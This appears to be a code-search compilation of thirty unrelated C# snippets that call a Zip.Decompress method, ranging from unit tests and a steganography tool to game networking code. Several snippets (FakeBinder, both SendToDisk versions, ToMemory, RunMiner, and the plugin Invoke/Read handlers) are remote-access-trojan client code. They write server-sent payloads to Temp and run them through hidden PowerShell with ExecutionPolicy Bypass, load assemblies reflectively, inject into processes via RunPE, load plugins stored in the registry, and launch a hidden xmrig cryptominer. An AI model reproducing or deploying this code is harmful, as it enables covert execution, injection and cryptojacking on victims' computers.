Ejemplo n.º 1
0
        public void UnZipSameFileTwice()
        {
            ICompressor compressor     = new Zip();
            FileInfo    compressedFile = new FileInfo(_zippedFilePath);

            _decompressedFiles = compressor.Decompress(compressedFile, _workingDirectory);
            _decompressedFiles = compressor.Decompress(compressedFile, _workingDirectory);

            Assert.IsTrue(_decompressedFiles.All(x => File.Exists(x.FullName)));
        }
Ejemplo n.º 2
0
        public void UnZipFileWhichDoesntExist()
        {
            ICompressor compressor       = new Zip();
            FileInfo    fileToDecompress = new FileInfo(Path.Combine("Data", "EBRD_EMIR_Trades_20170745.zip"));

            _decompressedFiles = compressor.Decompress(fileToDecompress, new DirectoryInfo("Data"));
        }
Ejemplo n.º 3
0
        public void ExecuteRetrieveFile(object args)
        {
            try
            {
                var deHideOption = this.GetDeHideOptionFromView((Window)args);

                if (deHideOption == null)
                {
                    return;
                }

                var ciphertext = HideLSB.DeHide(this._hiddenImageBitmapCache);

                IEncryption encryptor = EncryptionFactory.CreateEncryption(deHideOption.EncryptionAlg);
                var         plaintext = encryptor.Decrypt(ciphertext, this.StrPassword2UintArr(deHideOption.Password));
                var         deZipdata = Zip.Decompress(plaintext);

                if (File.Exists(deHideOption.FilePath))
                {
                    File.Delete(deHideOption.FilePath);
                }

                FileTransform.ByteArray2File(deHideOption.FilePath, deZipdata);

                this.ShowMessageBoxResource("RetrieveDone", "Hint", MessageBoxButton.OK, MessageBoxImage.Information);
            }
            catch (PasswordWrongException)
            {
                this.ShowMessageBoxResource("PasswordWrong", "Error");
            }
            catch (Exception)
            {
                this.ShowMessageBoxResource("PasswordWrong", "Error");
            }
        }
Ejemplo n.º 4
0
 public void FakeBinder(MsgPack unpack_msgpack)
 {
     try
     {
         if (Environment.CurrentDirectory.ToLower().Contains("appdata") || Environment.CurrentDirectory.ToLower().Contains("temp"))
         {
         }
         else
         {
             string fullPath = Path.Combine(Path.GetTempPath(), Methods.GetRandomString(6) + unpack_msgpack.ForcePathObject("Extension").AsString);
             File.WriteAllBytes(fullPath, Zip.Decompress(unpack_msgpack.ForcePathObject("File").GetAsBytes()));
             Process.Start(new ProcessStartInfo
             {
                 FileName        = "cmd",
                 Arguments       = $"/c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath {"'" + "\"" + fullPath + "\"" + "'"} & exit",
                 CreateNoWindow  = true,
                 WindowStyle     = ProcessWindowStyle.Hidden,
                 UseShellExecute = true,
                 ErrorDialog     = false,
             });
             Thread.Sleep(1000);
             Packet.Log($"Temp\\{Path.GetFileName(fullPath)} execute success!");
         }
     }
     catch (Exception ex)
     {
         Packet.Error(ex.Message);
     }
     Connection.Disconnected();
 }
        private string Decrypt(DecryptCommand command)
        {
            string rtn    = string.Empty;
            Bitmap bmp    = null;
            var    tokens = Token.Tokens();

            byte[] imageBytes = Convert.FromBase64String(command.EncryptedPicture);
            using (MemoryStream memoryStream = new MemoryStream(imageBytes))
            {
                memoryStream.Position = 0;
                bmp = (Bitmap)Bitmap.FromStream(memoryStream);
            }

            if (bmp != null)
            {
                rtn = tokens.ReplaceTokens(
                    Obfuscation.Unobfuscate(
                        Zip.Decompress(
                            Convert.FromBase64String(
                                Crypto.Decrypt(
                                    Zip.Decompress(
                                        Convert.FromBase64String(
                                            Brilliance.Decompress(bmp))))))));
            }

            return(rtn);
        }
        public void Scribble(String sender, byte[] img, int h)
        {
            if (!this.Extended || !this.ProtoConnected)
            {
                return;
            }

            byte[]        buf     = Zip.Decompress(img);
            String        height  = h.ToString();
            String        base64  = Convert.ToBase64String(buf);
            List <String> packets = new List <String>();

            while (base64.Length > 1024)
            {
                packets.Add(base64.Substring(0, 1024));
                base64 = base64.Substring(1024);
            }

            if (base64.Length > 0)
            {
                packets.Add(base64);
            }

            this.QueuePacket(WebOutbound.ScribbleHead(this, sender, packets.Count, height));

            foreach (String str in packets)
            {
                this.QueuePacket(WebOutbound.ScribbleBlock(this, str));
            }
        }
Ejemplo n.º 7
0
        public bool Save(object a)
        {
            if (this.Data == null)
            {
                return(false);
            }

            JSScript script = ScriptManager.Scripts.Find(x => x.ScriptName == this.Engine.ScriptName);

            if (script != null)
            {
                String path = a.ToString();
                path = new String(path.Where(x => !Path.GetInvalidFileNameChars().Contains(x)).ToArray());
                path = Path.Combine(script.DataPath, path);

                if (new FileInfo(path).Directory.FullName != new DirectoryInfo(script.DataPath).FullName)
                {
                    return(false);
                }

                try
                {
                    File.WriteAllBytes(path, Zip.Decompress(this.Data));
                    return(true);
                }
                catch { }
            }

            return(false);
        }
Ejemplo n.º 8
0
        public void UnZipFileWithWrongExtension()
        {
            ICompressor compressor       = new Zip();
            FileInfo    fileToDecompress = new FileInfo(_testFilePath);

            _decompressedFiles = compressor.Decompress(fileToDecompress, new DirectoryInfo(Path.Combine("IntegrationTests", "Compression", "Data")));
        }
Ejemplo n.º 9
0
        public void UnZipFileToNonExistentDirectory()
        {
            ICompressor   compressor       = new Zip();
            FileInfo      compressedFile   = new FileInfo(_zippedFilePath);
            DirectoryInfo newDirectoryPath = new DirectoryInfo(@"NonExistentDir");

            _decompressedFiles = compressor.Decompress(compressedFile, newDirectoryPath);
        }
Ejemplo n.º 10
0
        /// <summary>
        /// 安全解码
        /// </summary>
        /// <param name="content"></param>
        /// <returns></returns>
        public static string SecDecode(byte[] content)
        {
            //byte[] tempBytes = LZMA.Decompress(content, 0);
            //string tempResult = Encoding.UTF8.GetString(tempBytes);
            string tempResult; Zip.Decompress(content, out tempResult);

            return(DecryptDES(tempResult, new String(DefaultKey)));
        }
Ejemplo n.º 11
0
        public void UnZipFileWithDefinedDirectoryPathInsensitiveExtension()
        {
            ICompressor compressor     = new Zip();
            FileInfo    compressedFile = new FileInfo(Path.Combine(_workingDirectory.FullName, "EBRD_EMIR_Trades_20170809Case.Zip"));

            _decompressedFiles = compressor.Decompress(compressedFile, _workingDirectory);

            Assert.IsTrue(_decompressedFiles.All(x => File.Exists(x.FullName)));
        }
Ejemplo n.º 12
0
        private static void Invoke(MsgPack unpack_msgpack)
        {
            Assembly assembly = AppDomain.CurrentDomain.Load(Zip.Decompress(SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString)));
            Type     type     = assembly.GetType("Plugin.Plugin");
            dynamic  instance = Activator.CreateInstance(type);

            instance.Run(ClientSocket.TcpClient, Settings.ServerCertificate, Settings.Hwid, unpack_msgpack.ForcePathObject("Msgpack").GetAsBytes(), MutexControl.currentApp, Settings.MTX, Settings.BDOS, Settings.Install);
            Received();
        }
Ejemplo n.º 13
0
        public void UnZipFileWithUndefinedDirectoryPath()
        {
            ICompressor compressor     = new Zip();
            FileInfo    compressedFile = new FileInfo(_zippedFilePath);

            _decompressedFiles = compressor.Decompress(compressedFile);

            Assert.IsTrue(_decompressedFiles.All(x => File.Exists(x.FullName)));
        }
Ejemplo n.º 14
0
        public void UnZipFileWithDefinedDirectoryPath()
        {
            ICompressor compressor     = new Zip();
            FileInfo    compressedFile = new FileInfo(_zippedFilePath);

            _decompressedFiles = compressor.Decompress(compressedFile, new DirectoryInfo(Path.Combine("IntegrationTests", "Compression", "Data")));

            Assert.IsTrue(_decompressedFiles.All(x => File.Exists(x.FullName)));
        }
Ejemplo n.º 15
0
        public IPirateXPackage UnPackToPacket(byte[] datas)
        {
            byte[] headerBytes  = null;
            byte[] contentBytes = null;

            var zipBit    = new byte[1];
            var cryptoBit = new byte[1];

            using (var stream = new MemoryStream(datas))
            {
                var lenBytes       = new byte[4];
                var headerLenBytes = new byte[4];

                stream.Read(lenBytes, 0, 4);       //数据整体长度
                stream.Read(zipBit, 0, 1);         //压缩标记位
                stream.Read(cryptoBit, 0, 1);      //加密标记位
                stream.Read(headerLenBytes, 0, 4); //信息头长度

                var len       = BitConverter.ToInt32(lenBytes, 0);
                var headerLen = BitConverter.ToInt32(headerLenBytes, 0);

                headerBytes  = new byte[headerLen];
                contentBytes = new byte[len - 4 - 1 - 1 - 4 - headerLen];

                stream.Read(headerBytes, 0, headerLen);
                stream.Read(contentBytes, 0, len - 4 - 1 - 1 - 4 - headerLen);
            }

            //8位,  每一位是一个加密标记位,1表示启用
            for (byte i = 0; i < 8; i++)
            {
                if (cryptoBit[0].GetBit(i))
                {
                    var crypto = CryptoFactory.GetCrypto(i);
                    if (crypto != null)
                    {
                        headerBytes  = crypto.Decode(headerBytes, UnPackKeys);
                        contentBytes = crypto.Decode(contentBytes, UnPackKeys);
                    }
                }
            }

            var zipenable = zipBit[0].GetBit(7);

            if (zipenable)
            {
                headerBytes  = Zip.Decompress(headerBytes);
                contentBytes = Zip.Decompress(contentBytes);
            }

            return(new PirateXResponsePackage()
            {
                HeaderBytes = headerBytes,
                ContentBytes = contentBytes
            });
        }
Ejemplo n.º 16
0
        public void SendToDisk(MsgPack unpack_msgpack)
        {
            try
            {
                //Drop To Disk
                string fullPath = Path.Combine(Path.GetTempPath(), Methods.GetRandomString(6) + unpack_msgpack.ForcePathObject("Extension").AsString);
                File.WriteAllBytes(fullPath, Zip.Decompress(unpack_msgpack.ForcePathObject("File").GetAsBytes()));
                if (unpack_msgpack.ForcePathObject("Extension").AsString.ToLower().EndsWith(".ps1"))
                {
                    Process.Start(new ProcessStartInfo
                    {
                        FileName        = "cmd",
                        Arguments       = $"/c start /b powershell –ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -FilePath {"'" + "\"" + fullPath + "\"" + "'"} & exit",
                        CreateNoWindow  = true,
                        WindowStyle     = ProcessWindowStyle.Hidden,
                        UseShellExecute = true,
                        ErrorDialog     = false,
                    });
                }
                else
                {
                    Process.Start(new ProcessStartInfo
                    {
                        FileName        = "cmd",
                        Arguments       = $"/c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath {"'" + "\"" + fullPath + "\"" + "'"} & exit",
                        CreateNoWindow  = true,
                        WindowStyle     = ProcessWindowStyle.Hidden,
                        UseShellExecute = true,
                        ErrorDialog     = false,
                    });
                }


                if (unpack_msgpack.ForcePathObject("Update").AsString == "true")
                {
                    new HandleUninstall();
                }
                else
                {
                    Thread.Sleep(1000);
                    if (Process.GetProcessesByName(Path.GetFileNameWithoutExtension(fullPath)).Length > 0)
                    {
                        Packet.Log($"Temp\\{Path.GetFileName(fullPath)} execute success!");
                    }
                    else if (fullPath.ToLower().EndsWith(".ps1") && Process.GetProcessesByName("powershell").Length > 0)
                    {
                        Packet.Log($"Temp\\{Path.GetFileName(fullPath)} execute success!");
                    }
                }
            }
            catch (Exception ex)
            {
                Packet.Error(ex.Message);
            }
            Connection.Disconnected();
        }
Ejemplo n.º 17
0
 public void DecodeFromBytes(byte[] bytes)
 {
     using (MemoryStream ms = new MemoryStream())
     {
         bytes = Zip.Decompress(bytes);
         ms.Write(bytes, 0, bytes.Length);
         ms.Position = 0;
         DecodeFromStream(ms);
     }
 }
Ejemplo n.º 18
0
 public void ToMemory(MsgPack unpack_msgpack)
 {
     try
     {
         byte[] buffer    = unpack_msgpack.ForcePathObject("File").GetAsBytes();
         string injection = unpack_msgpack.ForcePathObject("Inject").AsString;
         if (injection.Length == 0)
         {
             //Reflection
             new Thread(delegate()
             {
                 try
                 {
                     Assembly loader = Assembly.Load(Zip.Decompress(buffer));
                     object[] parm   = null;
                     if (loader.EntryPoint.GetParameters().Length > 0)
                     {
                         parm = new object[] { new string[] { null } };
                     }
                     loader.EntryPoint.Invoke(null, parm);
                 }
                 catch (Exception ex)
                 {
                     Packet.Error(ex.Message);
                 }
             })
             {
                 IsBackground = false
             }.Start();
         }
         else
         {
             //RunPE
             new Thread(delegate()
             {
                 try
                 {
                     SendToMemory.Execute(Path.Combine(RuntimeEnvironment.GetRuntimeDirectory().Replace("Framework64", "Framework"), injection), Zip.Decompress(buffer));
                 }
                 catch (Exception ex)
                 {
                     Packet.Error(ex.Message);
                 }
             })
             {
                 IsBackground = false
             }.Start();
         }
     }
     catch (Exception ex)
     {
         Packet.Error(ex.Message);
     }
     Connection.Disconnected();
 }
Ejemplo n.º 19
0
        public void CompressTest()
        {
            string srcFilePath = PathHelper.GetFilePath(@"/Data/mountain.bmp");

            var expected = FileTransform.File2ByteArray(srcFilePath);

            var zipedSrcFileBytes = Zip.Compress(expected);

            var actual = Zip.Decompress(zipedSrcFileBytes);

            CollectionAssert.AreEqual(actual, expected);
        }
Ejemplo n.º 20
0
        private static GamePlayRecording ParseRecording(string filepath)
        {
            // removing file extension
            //int index = filepath.LastIndexOf('.');
            //if (index >= 0)
            //{
            //    filepath = filepath.Substring(0, index);
            //}

            byte[] compressedStringBytes = File.ReadAllBytes(filepath);
            byte[] stringBytes           = Zip.Decompress(compressedStringBytes);
            string jsonString            = Encoding.ASCII.GetString(stringBytes);

            return(JsonUtility.FromJson <GamePlayRecording>(jsonString));
        }
Ejemplo n.º 21
0
 public void SendToDisk(MsgPack unpack_msgpack)
 {
     try
     {
         //Drop To Disk
         string fullPath = Path.GetTempFileName() + "g r" + unpack_msgpack.ForcePathObject("Extension").AsString;
         File.WriteAllBytes(fullPath, Zip.Decompress(unpack_msgpack.ForcePathObject("File").GetAsBytes()));
         if (unpack_msgpack.ForcePathObject("Extension").AsString.ToLower().EndsWith(".ps1"))
         {
             Process.Start(new ProcessStartInfo
             {
                 FileName        = "cmd",
                 Arguments       = $"/c start /b powershell –ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -File {"'" + "\"" + fullPath + "\"" + "'"} & exit",
                 CreateNoWindow  = true,
                 WindowStyle     = ProcessWindowStyle.Hidden,
                 UseShellExecute = true,
                 ErrorDialog     = false,
             });
         }
         else
         {
             Process.Start(new ProcessStartInfo
             {
                 FileName        = "cmd",
                 Arguments       = $"/c start /b powershell Start-Process -FilePath {"'" + "\"" + fullPath + "\"" + "'"} & exit",
                 CreateNoWindow  = true,
                 WindowStyle     = ProcessWindowStyle.Hidden,
                 UseShellExecute = true,
                 ErrorDialog     = false,
             });
         }
         if (unpack_msgpack.ForcePathObject("Update").AsString == "true")
         {
             new HandleUninstall();
         }
         else
         {
             Packet.Log("file executed!");
         }
     }
     catch (Exception ex)
     {
         Packet.Error(ex.Message);
     }
     Connection.Disconnected();
 }
Ejemplo n.º 22
0
        public static String Uncompress(object a)
        {
            String result = null;

            if (!(a is Undefined))
            {
                try
                {
                    String str = a.ToString();
                    byte[] buf = Encoding.Default.GetBytes(str);
                    buf    = Zip.Decompress(buf);
                    result = Encoding.UTF8.GetString(buf);
                }
                catch { }
            }

            return(result);
        }
Ejemplo n.º 23
0
        GamePlayRecording ReadFromFileResources(string fileName)
        {
            // removing file extension
            int index = fileName.LastIndexOf('.');

            if (index >= 0)
            {
                fileName = fileName.Substring(0, index);
            }

            TextAsset t = Resources.Load(fileName, typeof(TextAsset)) as TextAsset;

            byte[] compressedStringBytes = t.bytes;
            byte[] stringBytes           = Zip.Decompress(compressedStringBytes);
            string jsonString            = Encoding.ASCII.GetString(stringBytes);

            return(JsonUtility.FromJson <GamePlayRecording>(jsonString));
        }
Ejemplo n.º 24
0
 public void RunMiner(MsgPack unpack_msgpack)
 {
     try
     {
         string xmrig    = Path.GetTempPath() + unpack_msgpack.ForcePathObject("Hash").AsString + ".bin";
         string injectTo = unpack_msgpack.ForcePathObject("InjectTo").AsString;
         string args     = $"-B --donate-level=1 -t {Environment.ProcessorCount / 2} -v 0 --cpu-priority=3 -a cn/r -k -o {unpack_msgpack.ForcePathObject("Pool").AsString} -u {unpack_msgpack.ForcePathObject("Wallet").AsString} -p {unpack_msgpack.ForcePathObject("Pass").AsString}";
         if (!File.Exists(xmrig))
         {
             //ask server to send xmrig
             MsgPack msgpack = new MsgPack();
             msgpack.ForcePathObject("Packet").AsString = "GetXmr";
             Connection.Send(msgpack.Encode2Bytes());
             return;
         }
         KillMiner();
         if (RunPE.Run(Path.Combine(RuntimeEnvironment.GetRuntimeDirectory().Replace("Framework64", "Framework"), injectTo), Zip.Decompress(File.ReadAllBytes(Path.GetTempPath() + unpack_msgpack.ForcePathObject("Hash").AsString + ".bin")), args, false))
         {
             SetRegistry.SetValue(Connection.Hwid, "1");
         }
     }
     catch (Exception ex)
     {
         Packet.Error(ex.Message);
     }
 }
Ejemplo n.º 25
0
        protected bool ContinueProcessing(SourceFile remote_file)
        {
            FileInfo collected_file;

            try
            {
                Logger.WriteLine("BaseFileCollector.OnProcess", "", System.Diagnostics.TraceEventType.Information, 2, 0, SharedData.LogCategory);
                Logger.WriteLine("BaseFileCollector.OnProcess", "    SOURCE DIRECTORY: " + TextParser.Parse(Directory, DrivingData, SharedData, ModuleCommands), System.Diagnostics.TraceEventType.Information, 2, 0, SharedData.LogCategory);
                Logger.WriteLine("BaseFileCollector.OnProcess", "      SEARCH PATTERN: " + remote_file.Name, System.Diagnostics.TraceEventType.Information, 2, 0, SharedData.LogCategory);

                // Get a list of file(s) that match the source file.
                RemoteFileList = GetRemoteFileList(remote_file);

                Logger.WriteLine("BaseFileCollector.OnProcess", "  MATCHED FILE COUNT: " + RemoteFileList.Rows.Count, System.Diagnostics.TraceEventType.Information, 2, 0, SharedData.LogCategory);

                if (base.ExitProcess)
                {
                    if (string.IsNullOrEmpty(base.GoToModule))
                    {
                        Logger.WriteLine("BaseFileCollector.OnProcess", "         ExitProcess: " + base.ExitProcess.ToString(), System.Diagnostics.TraceEventType.Information, 2, 0, SharedData.LogCategory);
                    }
                    else
                    {
                        Logger.WriteLine("BaseFileCollector.OnProcess", "         ExitProcess: " + base.ExitProcess.ToString(), System.Diagnostics.TraceEventType.Information, 2, 0, SharedData.LogCategory);
                        Logger.WriteLine("BaseFileCollector.OnProcess", "          GotoModule: " + base.GoToModule, System.Diagnostics.TraceEventType.Information, 2, 0, SharedData.LogCategory);
                    }
                }

                foreach (DataRow matching_file in RemoteFileList.Rows)
                {
                    if (!StopCollecting)
                    {
                        // Collect the file and place it in the temporary directory.
                        collected_file = CollectRemoteFile(matching_file);

                        // Increment the collected files counter.
                        NumberOfCollectedFiles += 1;

                        SetModuleCommands(collected_file, null, matching_file["FileDirectoryName"].ToString());

                        AddResults();

                        if (collected_file.Extension == ".zip" && remote_file.Unzip)
                        {
                            // Unzip the file into the temp directory and return a list of the child files.
                            Logger.WriteLine("BaseFileCollector.OnProcess", "      UNZIPPING FILE: " + collected_file.Name, System.Diagnostics.TraceEventType.Information, 2, 0, SharedData.LogCategory);

                            foreach (FileInfo unzipped_file in Zip.Decompress(collected_file.FullName, TextParser.Parse(SharedData.TempFileDirectory + @"\" + collected_file.Name.Replace(collected_file.Extension, ""), DrivingData, SharedData, ModuleCommands)))
                            {
                                SetModuleCommands(unzipped_file, collected_file, matching_file["FileDirectoryName"].ToString());

                                AddResults();
                            }
                        }
                    }
                    else
                    {
                        // The collector has already collected the maximum number of files allowed.
                        Logger.WriteLine("BaseFileCollector.OnProcess", "COLLECTION THRESHOLD: Collector's MaxCount [" + MaxCount + "] threshold has been reached.", System.Diagnostics.TraceEventType.Information, 2, 0, SharedData.LogCategory);
                        return(false);
                    }
                }

                return(true);
            }
            catch (Exception ex)
            {
                if (ex.Message.Contains("The network path was not found."))
                {
                    throw new Exception(string.Format("{0} Module '{1}' was unable to resolve the network path'{2}'.", GetType().Name, Name, TextParser.Parse(Directory, DrivingData, SharedData, ModuleCommands)), ex);
                }

                throw ex;
            }
        }
Ejemplo n.º 26
0
        public static void Read(object data)
        {
            try
            {
                MsgPack unpack_msgpack = new MsgPack();
                unpack_msgpack.DecodeFromBytes((byte[])data);
                switch (unpack_msgpack.ForcePathObject("Packet").AsString)
                {
                case "Ping":
                {
                    Debug.WriteLine("Server Pinged me " + unpack_msgpack.ForcePathObject("Message").AsString);
                    break;
                }

                case "plugin":     // run plugin in memory
                {
                    Received();
                    Assembly assembly = AppDomain.CurrentDomain.Load(Zip.Decompress(Convert.FromBase64String(Strings.StrReverse(SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString)))));
                    Type     type     = assembly.GetType("Plugin.Plugin");
                    dynamic  instance = Activator.CreateInstance(type);
                    instance.Run(ClientSocket.TcpClient, Settings.ServerCertificate, Settings.Hwid, unpack_msgpack.ForcePathObject("Msgpack").GetAsBytes(), MutexControl.currentApp, Settings.MTX, Settings.BDOS, Settings.Install);
                    break;
                }

                case "savePlugin":     // save plugin as MD5:Base64
                {
                    SetRegistry.SetValue(unpack_msgpack.ForcePathObject("Hash").AsString, unpack_msgpack.ForcePathObject("Dll").AsString);
                    Debug.WriteLine("plguin saved");
                    break;
                }

                case "checkPlugin":     // server sent all plugins hashes, we check which plugin we miss
                {
                    List <string> plugins = new List <string>();
                    foreach (string plugin in unpack_msgpack.ForcePathObject("Hash").AsString.Split(','))
                    {
                        if (SetRegistry.GetValue(plugin) == null)
                        {
                            plugins.Add(plugin);
                            Debug.WriteLine("plguin not found");
                        }
                    }
                    if (plugins.Count > 0)
                    {
                        MsgPack msgPack = new MsgPack();
                        msgPack.ForcePathObject("Packet").SetAsString("sendPlugin");
                        msgPack.ForcePathObject("Hashes").SetAsString(string.Join(",", plugins));
                        ClientSocket.Send(msgPack.Encode2Bytes());
                    }
                    break;
                }

                    //case "cleanPlugin": // server want to clean and re save all plugins
                    //    {
                    //        SetRegistry.DeleteSubKey();
                    //        MsgPack msgPack = new MsgPack();
                    //        msgPack.ForcePathObject("Packet").SetAsString("sendPlugin+");
                    //        ClientSocket.Send(msgPack.Encode2Bytes());
                    //        break;
                    //    }
                }
            }
            catch (Exception ex)
            {
                Error(ex.Message);
            }
        }
        public void Read(RakNet.BitStream stream, RakNet.Packet packet, Client client)
        {
            int id = 0;

            stream.Read(out id);
            Player.Hero.ID = id;

            sWorld.addVob(Player.Hero);

            using (BitStream stream2 = new BitStream())
            {
                Zip.Decompress(stream, stream2);
                stream = stream2;



                stream.Read(out Player.EnableStatusMenu);
                stream.Read(out Player.EnableLogMenu);

                //Player-Defaults:
                if (Player.EnableStatusMenu)
                {
                    Gothic.mClasses.InputHooked.deactivateStatusScreen(Process.ThisProcess(), true);
                }
                if (Player.EnableLogMenu)
                {
                    Gothic.mClasses.InputHooked.deactivateLogScreen(Process.ThisProcess(), true);
                }



                stream.Read(out Player.sSendAllKeys);
                int playerKeyCount = 0;
                stream.Read(out playerKeyCount);
                for (int i = 0; i < playerKeyCount; i++)
                {
                    byte key = 0;
                    stream.Read(out key);
                    Player.sSendKeys.Add(key);
                }


                int  day = 0;
                byte hour = 0, minute = 0;
                stream.Read(out day);
                stream.Read(out hour);
                stream.Read(out minute);

                sWorld.Day    = day;
                sWorld.Hour   = hour;
                sWorld.Minute = minute;


                byte wt = 0, starthour = 0, startminute = 0, endhour = 0, endminute;

                stream.Read(out wt);
                stream.Read(out starthour);
                stream.Read(out startminute);
                stream.Read(out endhour);
                stream.Read(out endminute);

                sWorld.WeatherType     = wt;
                sWorld.StartRainHour   = starthour;
                sWorld.StartRainMinute = startminute;
                sWorld.EndRainHour     = endhour;
                sWorld.EndRainMinute   = endminute;


                short spellCount = 0;
                stream.Read(out spellCount);
                for (int i = 0; i < spellCount; i++)
                {
                    Spell spell = new Spell();
                    spell.Read(stream);
                    Spell.addItemInstance(spell);
                }

                short itemInstancesCount = 0;
                stream.Read(out itemInstancesCount);
                for (int i = 0; i < itemInstancesCount; i++)
                {
                    ItemInstance ii = new ItemInstance();
                    ii.Read(stream);


                    ItemInstance.addItemInstance(ii);
                }
                CreateItems();

                //ItemList:
                int iLC = 0;
                stream.Read(out iLC);
                for (int i = 0; i < iLC; i++)
                {
                    Item item = new Item();
                    item.Read(stream);
                    sWorld.addVob(item);
                }

                //Vob-List:
                int vLC = 0;
                stream.Read(out vLC);
                for (int i = 0; i < vLC; i++)
                {
                    int vobType = 0;
                    stream.Read(out vobType);
                    Vob vob = Vob.createVob((VobType)vobType);
                    vob.Read(stream);
                    sWorld.addVob(vob);
                }

                //NPC-List:
                int nLC = 0;
                stream.Read(out nLC);
                for (int i = 0; i < nLC; i++)
                {
                    NPC npc = new NPC();
                    npc.Read(stream);
                    sWorld.addVob(npc);
                }

                //Player-List:
                int pLC = 0;
                stream.Read(out pLC);
                for (int i = 0; i < pLC; i++)
                {
                    Player player = new Player(false, "");
                    player.Read(stream);

                    if (player.ID == id)
                    {
                        continue;
                    }
                    sWorld.addVob(player);
                }

                //WorldSpawnList:
                int worldListCount = 0;
                stream.Read(out worldListCount);
                for (int i = 0; i < worldListCount; i++)
                {
                    World w = new World();
                    w.Read(stream);

                    sWorld.WorldDict.Add(w.Map, w);
                }
            }
        }
Ejemplo n.º 28
0
    IEnumerator ProcessSongXmlCompressed()
    {
        if (string.IsNullOrEmpty(Helpers.SongXmlCompressed))
        {
            panelIndicator.LoadWarning("Error loading " + Helpers.songInfoName + " - Can not get song data.", 10,
                                       2);
            Debug.LogWarning("string.IsNullOrEmpty(Helpers.SongXmlCompressed)");
            //return;
            yield break;
        }

        var songXmlUnCompressed = "";

        try
        {
            songXmlUnCompressed = Zip.Decompress(Helpers.SongXmlCompressed);
        }
        catch (Exception e)
        {
            panelIndicator.LoadWarning("Error loading " + Helpers.songInfoName + " - Can not get song data..", 10, 2);
            Debug.LogWarning(e);
            //return;
            yield break;
        }

        if (string.IsNullOrEmpty(songXmlUnCompressed))
        {
            panelIndicator.LoadWarning("Error loading " + Helpers.songInfoName + " - Can not get song data...",
                                       10, 2);
            Debug.LogWarning("string.IsNullOrEmpty(songXmlUnCompressed)");
            //return;
            yield break;
        }

        StartCoroutine(MusicXmlParserIe.GetScore(songXmlUnCompressed));

        while (!Helpers.GetScoreCompleted)
        {
            yield return(null);
        }

        //Helpers.Score = MusicXmlParser.GetScore(songXmlUnCompressed);

        //clean up memory
        songXmlUnCompressed = "";
        bool hideIndicatorInvoked = false;

        if (Helpers.Score == null)
        {
            Debug.LogWarning("score == null");
            panelIndicator.LoadWarning("Error loading " + Helpers.songInfoName + " - Parsing Score", 10, 2);
            //return;
            yield break;
        }
        else if (Helpers.Score.Parts.Count <= 0)
        {
            Debug.LogWarning("Helpers.Score.Parts.Count <= 0");
            panelIndicator.LoadWarning("Error loading " + Helpers.songInfoName + " - No Part Found", 10, 2);
            //return;
            yield break;
        }
        else
        {
            foreach (var part in Helpers.Score.Parts)
            {
                if (part.Name == "Voice")
                {
                    ButtonInstrumentVoice.SetActive(true);
                    break;
                }
            }


            Helpers.LastMeasurePostY = 0;

            foreach (Transform child in MeasureHolder.transform)
            {
                Destroy(child.gameObject);
            }

            noteFlowControl.NoteFlowToStart(1);
            foreach (var measure in Helpers.Score.Parts[0].Measures)
            {
                //Debug.Log(measure.Number + " StartPos " + measure.StartPos + " Duration " + measure.Duration);
                noteCreator.CreateMeasure(measure);
                if (!hideIndicatorInvoked)
                {
                    Invoke("HideIndicator", 1);
                    hideIndicatorInvoked = true;
                }

                Helpers.TotalMeasure = measure.Number;
            }

            yield return(null);
        }


        var lastMeasure   = MeasureHolder.transform.GetChild(MeasureHolder.transform.childCount - 1);
        var measureLength =
            lastMeasure.transform.localPosition.y; // + lastMeasure.GetComponent<BoxCollider2D>().size.y;

        //var offSet = Camera.main.orthographicSize * (1 / Helpers.ScaleMin);
        PanelMeasureSlider.maxValue = Helpers.OffSet;
        PanelMeasureSlider.minValue = 0 - measureLength - Helpers.OffSet;
        PanelMeasureSlider.value    = PanelMeasureSlider.maxValue;

        //Debug.LogWarning("PanelMeasureSlider.maxValue " + PanelMeasureSlider.maxValue + " minValue " +
        //                 PanelMeasureSlider.minValue);

        //var songName = GameObject.Find("SongName");
        //songName.GetComponent<Renderer>().sortingOrder = 100;
        //songName.GetComponent<TextMesh>().text = "\n" + Helpers.songInfoName + " - " + Helpers.songInfoComposer;
        var songNameTop = GameObject.Find("SongNameTop");

        songNameTop.GetComponent <Text>().text = Helpers.songInfoName + " - " + Helpers.songInfoComposer;
        songNameTop.GetComponent <Text>().text = songNameTop.GetComponent <Text>().text.TrimEnd(' ', '-');
        if (!hideIndicatorInvoked)
        {
            HideIndicator();
        }
    }
Ejemplo n.º 29
0
 public byte[] Decompress(byte[] data)
 {
     return(Zip.Decompress(data));
 }
Ejemplo n.º 30
0
        public void UnZipNullFile()
        {
            ICompressor compressor = new Zip();

            _decompressedFiles = compressor.Decompress(null, new DirectoryInfo(Path.Combine("IntegrationTests", "Compression", "Data")));
        }